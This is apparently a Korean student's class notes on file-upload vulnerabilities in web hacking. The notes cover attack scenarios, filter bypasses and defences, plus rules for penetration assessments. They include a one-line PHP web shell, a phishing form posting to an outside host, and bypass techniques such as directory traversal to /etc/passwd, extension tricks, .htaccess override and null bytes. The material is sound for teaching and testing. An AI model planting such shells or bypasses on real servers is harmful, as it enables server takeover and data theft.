Today I Learned …
[수업] 9주차 정리 본문
* 해당 주차의 수업 내용을 정리합니다.
* 웹 해킹
- 웹 해킹 공격 연구 보고서
* CTF : 해킹 대회
→ 실무
→ 취약점 찾는 대회 (버그바운티)
- SQL Injection
- XSS
- CSRF
- 파일업로드/다운로드
- 인증/인가
3개월 : 웹 해킹 공격
4개월 : 모의해킹 프로젝트, 취약점 점검 항목, 보고서 작성 방법, 금취분평(금융취약점분석평가)
5개월 : 모의해킹 프로젝트
* 파일 업로드
> 악성 스크립트 업로드 서버 측에서 실행 쉘 획득
> 업로드하는데 실행권한이 있어야한다.
> 확장자 필터링이 없는 경우 php (서버 실행)
> 악성 파일 업로드 (시스템 명령) 실행
> 서버 내부 파일을 삭제하거나, 수정, 유출 등 → 관리자 권한 획득
> 대응 방안 : 화이트리스트 기반(확장자), 실행권한 제거
1. 파일 업로드
> 공격자가 원하는 임의의(모든, 어떤) 파일을 업로드할 수 있는 취약점
-- 발생 위치
> 게시판 자료실
> 프로필 사진
-- 발생 원인
> 검증 미흡
2. 파일 업로드 공격 시나리오
> 파일 업로드하는데 서버에서 아무 검증이 없다면?
→ 침투! → 정보 탈취!
(1) 서버 측 실행 파일
> Web Shell → 서버 쉘 장악
(2) Phishing
> php 서버 측 html 업로드
google.com/aaaa/upload/login.html
<form action="http://normaltic.com/log.php">
<input>
</form>
(3) Deface (파일 Override)
> 해킹 수준 유치
> 핵티비즘
(4) XSS
> Stored XSS
html, js
(5) DoS (Denial of Service)
> 서비스 거부 공격
다량의 대용량의 파일
> 파일의 사이즈
3. Web Shell
Shell ⇔ OS ⇔ H/W
<?php
system($_GET['cmd']);
?>
4. 서버 측 코드 실행 방법
서버 코드 실행 → 접속(요청)
→ 업로드 된 파일 경로 URL
<img src=""
자료실 파일 업로드
→ 다운로드(이미지 주소 복사)
** 아무 검증 X
** 뭔가 검증이 있을 때
*
검증 : 서버 측 검증
*
** 대응 방안
(1) 파일 유형 : Content-Type
-- Bypass : Intercept On으로 잡고 Content-Type을 변조하면 우회 가능하다.
-- MIME : Multipurpose Internet Mail Extensions
(2) 실행되지 않도록 설정
→ 실행 권한
-- Bypass : 디렉토리 트레버져(../../../)로 다른 디렉토리에 업로드한다.
%252f → %2f → /
→ 다른 디렉토리에 저장한다고?
→ Override, Deface
→ ../../../../../../../../etc/passwd
→ 권한
>> root 권한 웹 서비스(하면 안됨...ㅋㅋㅋ)
→ root 웹 쉘 ㅎ... 공격자 입장에선 땡큐임
(3) 파일 확장자 검증!
fwkdjlfiejflksjld.php
* White List : 대체로 안전
* Black List : 문제 일어날 확률 ↑
- 대소문자 혼용
.php
.pHp, .phP
- 다른 확장자
.php
.php5, .php4
.jspx, ...
- 서버 측 설정 파일을 Override
* Override, Overload
프로그래밍
객체 지향 → Java, Python
절차 지향 → C
→ 모바일 앱 해킹
안드로이드 앱 : Java, Kotlin
Override
→ 함수를 재정의
test()
Overload
→ 이름은 같지만 인자가 다른 함수를 정의(같은 이름의 함수를 또 만든다)
test(arg1);
test(arg1, arg2);
test(arg1, arg2, arg3);
/upload/.htaccess → .normaltic도 .php로 실행해줘!
-- 이중 확장자
.php.jpg
→ 미스테리임... 되는 경우 본 적 없음
-- Null Byte
IIS
.php%00.jpg
(4) File Signature
-- Bypass : 이미지 파일 뒤에 코드 심은 다음 Intercept로 도중에 확장자를 .php로 바꿔줌
(5) 지금까지의 대응 방안은 모두 우회가 가능하다.. 최종 대응 방안은?
→ 다음 주에 계속!
- 파일을 업로드할 수 있는 또 다른 기능
파일 업로드 기능 X
WEB METHOD
GET, POST
PUT, DELETE
* 쉘
- 리버스 쉘
* 위험 판단 기준(주관!)
-- 서버 측 코드가 업로드 & 실행된다 → 취약
-- 서버 측 코드가 업로드되는데 어디에 저장되는지 모르겠다 → 권고! 경고!
-- 서버 측 코드가 업로드되는데 실행은 안된다 → 양호
-- 파일 사이즈 검증X → 취약(DoS)
-- 허용되지 않는 파일 확장자 업로드 → 블랙리스트 기반으로 필터링하고 있다는 뜻, 권고!
* 진단 시 주의할 점!
파일 업로드 : 민감!
- 진단 중 웹 쉘 업로드? 안됨!
→ 공격자가 마침 들어와서 활용할 수도 있음
- 서버 측 코드가 실행된다는 증명용 POC 코드를 올리면 됨
→ <?php echo "Exploit Complete!"; ?>
- 담당자 상담 후 침투 진행 / X
- 올렸던 것들 지워주세요! 꼼꼼히 요청
다음 주(조사해보기)
- 자매품 : LFI, RFI
- 최종적인 대응 방안
'Study > 수업' 카테고리의 다른 글
[수업] 11주차 정리 (0) | 2021.12.23 |
---|---|
[수업] 10주차 정리 (0) | 2021.12.16 |
[수업] 8주차 정리 (0) | 2021.12.02 |
[수업] 7주차 정리 (0) | 2021.11.25 |
[수업] 6주차 정리 (0) | 2021.11.18 |